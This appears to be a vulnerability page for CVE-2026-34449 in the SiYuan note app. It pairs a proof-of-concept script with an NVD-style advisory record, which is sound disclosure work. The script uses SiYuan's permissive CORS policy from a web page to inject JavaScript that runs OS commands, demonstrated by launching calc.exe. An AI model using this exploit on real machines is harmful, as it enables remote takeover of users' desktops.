CVE-2026-34449

<!-- PoC for CVE-2026-34449: SiYuan RCE via CORS --> <script> // Target the local SiYuan instance // Note: Default port is usually 6806 const target = 'http://127.0.0.1:6806/api/snippet/setBlock'; // Malicious payload to execute OS commands via Node.js context const payload = { // The specific key depends on the vulnerable API endpoint "dataType": "javascript", "content": "require('child_process').exec('calc.exe');" }; // Exploit the permissive CORS headers to send the request fetch(target, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }) .then(response => console.log('Payload sent successfully')) .catch(error => console.error('Exploit failed:', error)); </script>

{"cve": {"id": "CVE-2026-34449", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:19.830", "lastModified": "2026-04-03T16:57:32.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "27CB71A7-7208-417A-AE6D-266D57F683E9"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/issues/17246", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}